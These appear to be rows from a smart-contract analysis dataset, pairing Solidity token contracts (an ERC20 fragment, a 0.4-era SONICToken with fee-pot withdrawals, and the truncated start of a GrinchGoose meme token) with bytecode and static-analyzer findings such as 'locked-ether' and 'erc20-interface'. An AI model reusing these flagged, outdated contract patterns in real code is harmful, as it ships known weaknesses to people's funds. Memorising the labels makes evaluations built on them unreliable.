* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Don't accept eth
*/
function () public payable {
revert();
}
} | 0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a7578063313ce567146101d157806366188463146101fc5780636d6a6a4d1461022057806370a082311461023557806395d89b4114610256578063a9059cbb1461026b578063d73dd6231461028f578063dd62ed3e146102b3575b600080fd5b3480156100ca57600080fd5b506100d36102da565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a0360043516602435610368565b604080519115158252519081900360200190f35b34801561018c57600080fd5b506101956103d2565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a03600435811690602435166044356103e2565b3480156101dd57600080fd5b506101e6610564565b6040805160ff9092168252519081900360200190f35b34801561020857600080fd5b5061016c600160a060020a0360043516602435610569565b34801561022c57600080fd5b50610195610662565b34801561024157600080fd5b50610195600160a060020a036004351661066e565b34801561026257600080fd5b506100d3610689565b34801561027757600080fd5b5061016c600160a060020a03600435166024356106e3565b34801561029b57600080fd5b5061016c600160a060020a03600435166024356107de565b3480156102bf57600080fd5b50610195600160a060020a0360043581169060243516610880565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103605780601f1061033557610100808354040283529160200191610360565b820191906000526020600020905b81548152906001019060200180831161034357829003601f168201915b505050505081565b600160a060020a03338116600081815260036020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b6b1027e72f1f1281308800000081565b6000600160a060020a03831615156103f957600080fd5b600160a060020a03841660009081526002602052604090205482111561041e57600080fd5b600160a060020a038085166000908152600360209081526040808320339094168352929052205482111561045157600080fd5b600160a060020a03841660009081526002602052604090205461047a908363ffffffff6108ab16565b600160a060020a0380861660009081526002602052604080822093909355908516815220546104af908363ffffffff6108bd16565b600160a060020a038085166000908152600260209081526040808320949094558783168252600381528382203390931682529190915220546104f7908363ffffffff6108ab16565b600160a060020a038086166000818152600360209081526040808320338616845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b601281565b600160a060020a033381166000908152600360209081526040808320938616835292905290812054808311156105c657600160a060020a0333811660009081526003602090815260408083209388168352929052908120556105fd565b6105d6818463ffffffff6108ab16565b600160a060020a033381166000908152600360209081526040808320938916835292905220555b600160a060020a0333811660008181526003602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060019392505050565b670de0b6b3a764000081565b600160a060020a031660009081526002602052604090205490565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103605780601f1061033557610100808354040283529160200191610360565b6000600160a060020a03831615156106fa57600080fd5b600160a060020a03331660009081526002602052604090205482111561071f57600080fd5b600160a060020a033316600090815260026020526040902054610748908363ffffffff6108ab16565b600160a060020a03338116600090815260026020526040808220939093559085168152205461077d908363ffffffff6108bd16565b600160a060020a038085166000818152600260209081526040918290209490945580518681529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600192915050565b600160a060020a033381166000908152600360209081526040808320938616835292905290812054610816908363ffffffff6108bd16565b600160a060020a0333811660008181526003602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b6000828211156108b757fe5b50900390565b6000828201838110156108cc57fe5b93925050505600a165627a7a723058208cbb3002d0458f3ad24c30a749d9c120f57b0ce16db6e5018c80c4e3fdf1d14b0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 866 |
0xa0aa0521b4215f6a00be5fe13288c9a8920c6666 | pragma solidity ^0.4.20;
contract SONICToken {
/* ERC20 Public variables of the token */
string public constant version = 'SONIC 0.2';
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
/* ERC20 This creates an array with all balances */
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
/* store the block number when a withdrawal has been requested*/
mapping (address => withdrawalRequest) public withdrawalRequests;
struct withdrawalRequest {
uint sinceTime;
uint256 amount;
}
/**
* feePot collects fees from quick withdrawals. This gets re-distributed to slow-withdrawals
*/
uint256 public feePot;
uint public timeWait = 30 days;
// uint public timeWait = 10 minutes; // uncomment for TestNet
uint256 public constant initialSupply = 15000000;
/**
* ERC20 events these generate a public event on the blockchain that will notify clients
*/
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event WithdrawalQuick(address indexed by, uint256 amount, uint256 fee); // quick withdrawal done
event IncorrectFee(address indexed by, uint256 feeRequired); // incorrect fee paid for quick withdrawal
event WithdrawalStarted(address indexed by, uint256 amount);
event WithdrawalDone(address indexed by, uint256 amount, uint256 reward); // amount is the amount that was used to calculate reward
event WithdrawalPremature(address indexed by, uint timeToWait); // Needs to wait timeToWait before withdrawal unlocked
event Deposited(address indexed by, uint256 amount);
/**
* Initializes contract with initial supply tokens to the creator of the contract
* In our case, there's no initial supply. Tokens will be created as ether is sent
* to the fall-back function. Then tokens are burned when ether is withdrawn.
*/
function SONICToken(
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) {
balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens (0 in this case)
totalSupply = initialSupply; // Update total supply (0 in this case)
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
decimals = decimalUnits; // Amount of decimals for display purposes
}
/**
* notPendingWithdrawal modifier guards the function from executing when a
* withdrawal has been requested and is currently pending
*/
modifier notPendingWithdrawal {
if (withdrawalRequests[msg.sender].sinceTime > 0) throw;
_;
}
/** ERC20 - transfer sends tokens
* @notice send `_value` token to `_to` from `msg.sender`
* @param _to The address of the recipient
* @param _value The amount of token to be transferred
* @return Whether the transfer was successful or not
*/
function transfer(address _to, uint256 _value) notPendingWithdrawal {
if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough
if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows
if (withdrawalRequests[_to].sinceTime > 0) throw; // can't move tokens when _to is pending withdrawal
balanceOf[msg.sender] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
}
/** ERC20 approve allows another contract to spend some tokens in your behalf
* @notice `msg.sender` approves `_spender` to spend `_value` tokens
* @param _spender The address of the account able to transfer the tokens
* @param _value The amount of tokens to be approved for transfer
* @return Whether the approval was successful or not
*/
function approve(address _spender, uint256 _value) notPendingWithdrawal
returns (bool success) {
if ((_value != 0) && (allowance[msg.sender][_spender] != 0)) throw;
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true; // we must return a bool as part of the ERC20
}
/**
* ERC-20 Approves and then calls the receiving contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) notPendingWithdrawal
returns (bool success) {
if (!approve(_spender, _value)) return false;
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) {
throw;
}
return true;
}
/**
* ERC20 A contract attempts to get the coins. Note: We are not allowing a transfer if
* either the from or to address is pending withdrawal
* @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value The amount of token to be transferred
* @return Whether the transfer was successful or not
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
// note that we can't use notPendingWithdrawal modifier here since this function does a transfer
// on the behalf of _from
if (withdrawalRequests[_from].sinceTime > 0) throw; // can't move tokens when _from is pending withdrawal
if (withdrawalRequests[_to].sinceTime > 0) throw; // can't move tokens when _to is pending withdrawal
if (balanceOf[_from] < _value) throw; // Check if the sender has enough
if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows
if (_value > allowance[_from][msg.sender]) throw; // Check allowance
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
allowance[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
/**
* withdrawalInitiate initiates the withdrawal by going into a waiting period
* It remembers the block number & amount held at the time of request.
* Tokens cannot be moved out during the waiting period, locking the tokens until then.
* After the waiting period finishes, the call withdrawalComplete
*
* Gas: 64490
*
*/
function withdrawalInitiate() notPendingWithdrawal {
WithdrawalStarted(msg.sender, balanceOf[msg.sender]);
withdrawalRequests[msg.sender] = withdrawalRequest(now, balanceOf[msg.sender]);
}
/**
* withdrawalComplete is called after the waiting period. The ether will be
* returned to the caller and the tokens will be burned.
* A reward will be issued based on the current amount in the feePot, relative to the
* amount that was requested for withdrawal when withdrawalInitiate() was called.
*
* Gas: 30946
*/
function withdrawalComplete() returns (bool) {
withdrawalRequest r = withdrawalRequests[msg.sender];
if (r.sinceTime == 0) throw;
if ((r.sinceTime + timeWait) > now) {
// holder needs to wait some more blocks
WithdrawalPremature(msg.sender, r.sinceTime + timeWait - now);
return false;
}
uint256 amount = withdrawalRequests[msg.sender].amount;
uint256 reward = calculateReward(r.amount);
withdrawalRequests[msg.sender].sinceTime = 0; // This will unlock the holders tokens
withdrawalRequests[msg.sender].amount = 0; // clear the amount that was requested
if (reward > 0) {
if (feePot - reward > feePot) { // underflow check
feePot = 0;
} else {
feePot -= reward;
}
}
doWithdrawal(reward); // burn the tokens and send back the ether
WithdrawalDone(msg.sender, amount, reward);
return true;
}
/**
* Reward is based on the amount held, relative to total supply of tokens.
*/
function calculateReward(uint256 v) constant returns (uint256) {
uint256 reward = 0;
if (feePot > 0) {
reward = feePot * v / totalSupply; // assuming that if feePot > 0 then also totalSupply > 0
}
return reward;
}
/** calculate the fee for quick withdrawal
*/
function calculateFee(uint256 v) constant returns (uint256) {
uint256 feeRequired = v / 100; // 1%
return feeRequired;
}
/**
* Quick withdrawal, needs to send ether to this function for the fee.
*
* Gas use: ? (including call to processWithdrawal)
*/
function quickWithdraw() payable notPendingWithdrawal returns (bool) {
uint256 amount = balanceOf[msg.sender];
if (amount == 0) throw;
// calculate required fee
uint256 feeRequired = calculateFee(amount);
if (msg.value != feeRequired) {
IncorrectFee(msg.sender, feeRequired); // notify the exact fee that needs to be sent
throw;
}
feePot += msg.value; // add fee to the feePot
doWithdrawal(0); // withdraw, 0 reward
WithdrawalDone(msg.sender, amount, 0);
return true;
}
/**
* do withdrawal
*/
function doWithdrawal(uint256 extra) internal {
uint256 amount = balanceOf[msg.sender];
if (amount == 0) throw; // cannot withdraw
if (amount + extra > this.balance) {
throw; // contract doesn't have enough balance
}
balanceOf[msg.sender] = 0;
if (totalSupply < totalSupply - amount) {
throw; // don't let it underflow (should not happen since amount <= totalSupply)
} else {
totalSupply -= amount; // deflate the supply!
}
Transfer(msg.sender, 0, amount); // burn baby burn
if (!msg.sender.send(amount + extra)) throw; // return back the ether or rollback if failed
}
/**
* Fallback function when sending ether to the contract
* Gas use: 65051
*/
function () payable notPendingWithdrawal {
uint256 amount = msg.value; // amount that was sent
if (amount == 0) throw; // need to send some ETH
balanceOf[msg.sender] += amount; // mint new tokens
totalSupply += amount; // track the supply
Transfer(0, msg.sender, amount); // notify of the event
Deposited(msg.sender, amount);
}
} | 0x606060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610272578063095ea7b31461030057806318160ddd1461035a57806323b872dd1461038357806327b380f3146103fc578063313ce56714610450578063378dc3dc1461047f578063441d6a61146104a85780634c9f66c7146104d157806354fd4d50146104fa57806370a082311461058857806372a2d90c146105d55780638dd7e44b146105f757806395d89b411461062457806399a5d747146106b2578063a9059cbb146106e9578063cae9ca511461072b578063d2d7231f146107c8578063dcc6762c146107ff578063dd62ed3e14610814575b600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154111561016357600080fd5b349050600081141561017457600080fd5b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806003600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff167f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4826040518082815260200191505060405180910390a250005b341561027d57600080fd5b610285610880565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102c55780820151818401526020810190506102aa565b50505050905090810190601f1680156102f25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561030b57600080fd5b610340600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061091e565b604051808215151515815260200191505060405180910390f35b341561036557600080fd5b61036d610af7565b6040518082815260200191505060405180910390f35b341561038e57600080fd5b6103e2600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610afd565b604051808215151515815260200191505060405180910390f35b341561040757600080fd5b610433600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e94565b604051808381526020018281526020019250505060405180910390f35b341561045b57600080fd5b610463610eb8565b604051808260ff1660ff16815260200191505060405180910390f35b341561048a57600080fd5b610492610ecb565b6040518082815260200191505060405180910390f35b34156104b357600080fd5b6104bb610ed2565b6040518082815260200191505060405180910390f35b34156104dc57600080fd5b6104e4610ed8565b6040518082815260200191505060405180910390f35b341561050557600080fd5b61050d610ede565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561054d578082015181840152602081019050610532565b50505050905090810190601f16801561057a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561059357600080fd5b6105bf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f17565b6040518082815260200191505060405180910390f35b6105dd610f2f565b604051808215151515815260200191505060405180910390f35b341561060257600080fd5b61060a6110b4565b604051808215151515815260200191505060405180910390f35b341561062f57600080fd5b610637611302565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561067757808201518184015260208101905061065c565b50505050905090810190601f1680156106a45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156106bd57600080fd5b6106d360048080359060200190919050506113a0565b6040518082815260200191505060405180910390f35b34156106f457600080fd5b610729600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506113bb565b005b341561073657600080fd5b6107ae600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611637565b604051808215151515815260200191505060405180910390f35b34156107d357600080fd5b6107e96004808035906020019091905050611857565b6040518082815260200191505060405180910390f35b341561080a57600080fd5b610812611887565b005b341561081f57600080fd5b61086a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a10565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109165780601f106108eb57610100808354040283529160200191610916565b820191906000526020600020905b8154815290600101906020018083116108f957829003601f168201915b505050505081565b600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154111561096f57600080fd5b600082141580156109fd57506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15610a0757600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60035481565b600080600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541115610b4e57600080fd5b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541115610b9e57600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610bea57600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011015610c7757600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610d0057600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60066020528060005260406000206000915090508060000154908060010154905082565b600260009054906101000a900460ff1681565b62e4e1c081565b60085481565b60075481565b6040805190810160405280600981526020017f534f4e494320302e32000000000000000000000000000000000000000000000081525081565b60046020528060005260406000206000915090505481565b600080600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541115610f8357600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491506000821415610fd357600080fd5b610fdc826113a0565b9050803414151561103a573373ffffffffffffffffffffffffffffffffffffffff167f4b02e32836ab61e09520c2fa7a744654ae1105fbc64fd963db54ccaeedcb26a4826040518082815260200191505060405180910390a2600080fd5b346007600082825401925050819055506110546000611a35565b3373ffffffffffffffffffffffffffffffffffffffff167f05de6288c7d47933a7195ba55a4ebbbdeb6c7ddbc12c83e70d2842254db165c2836000604051808381526020018281526020019250505060405180910390a260019250505090565b600080600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020925060008360000154141561110d57600080fd5b42600854846000015401111561117e573373ffffffffffffffffffffffffffffffffffffffff167f17a2aaa48e27a928dad797a90a80e37151e1d04dcffaa02d3d8ce8eba4342fa542600854866000015401036040518082815260200191505060405180910390a2600093506112fc565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015491506111d08360010154611857565b90506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018190555060008111156112985760075481600754031115611286576000600781905550611297565b806007600082825403925050819055505b5b6112a181611a35565b3373ffffffffffffffffffffffffffffffffffffffff167f05de6288c7d47933a7195ba55a4ebbbdeb6c7ddbc12c83e70d2842254db165c28383604051808381526020018281526020019250505060405180910390a2600193505b50505090565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113985780601f1061136d57610100808354040283529160200191611398565b820191906000526020600020905b81548152906001019060200180831161137b57829003601f168201915b505050505081565b6000806064838115156113af57fe5b04905080915050919050565b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154111561140b57600080fd5b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561145757600080fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540110156114e457600080fd5b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154111561153457600080fd5b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154111561168857600080fd5b611692848461091e565b15156116a15760009050611850565b8373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156117fa5780820151818401526020810190506117df565b50505050905090810190601f1680156118275780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af192505050151561184b57600080fd5b600190505b9392505050565b600080600090506000600754111561187e57600354836007540281151561187a57fe5b0490505b80915050919050565b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015411156118d757600080fd5b3373ffffffffffffffffffffffffffffffffffffffff167f731bed8bd2f1bca152ccc18462478d1d39325ffb89617c598d1b54fa34570fb0600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a26040805190810160405280428152602001600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155905050565b6005602052816000526040600020602052806000526040600020600091509150505481565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811415611a8757600080fd5b3073ffffffffffffffffffffffffffffffffffffffff16318282011115611aad57600080fd5b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600354036003541015611b0557600080fd5b8060036000828254039250508190555060003373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff166108fc8383019081150290604051600060405180830381858888f193505050501515611ba757600080fd5b50505600a165627a7a723058205589f8bc129ae8995ce15aaea9abe9900ea1d7c657cefdfb7a489a485bd836d30029 | {"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 867 |
0xF1e56BCa23968f7Eb47e282Af11bF36593978b5a | // SPDX-License-Identifier: Unlicensed
/*
https://t.me/grinchgoose
𝐒𝐧𝐢𝐩𝐞𝐫𝐬 𝐰𝐢𝐥𝐥 𝐬𝐮𝐫𝐞𝐥𝐲 𝐦𝐚𝐤𝐞 𝐢𝐭 𝐨𝐧 𝐭𝐡𝐞 𝐧𝐚𝐮𝐠𝐡𝐭𝐲 𝐥𝐢𝐬𝐭
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GrinchGoose is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
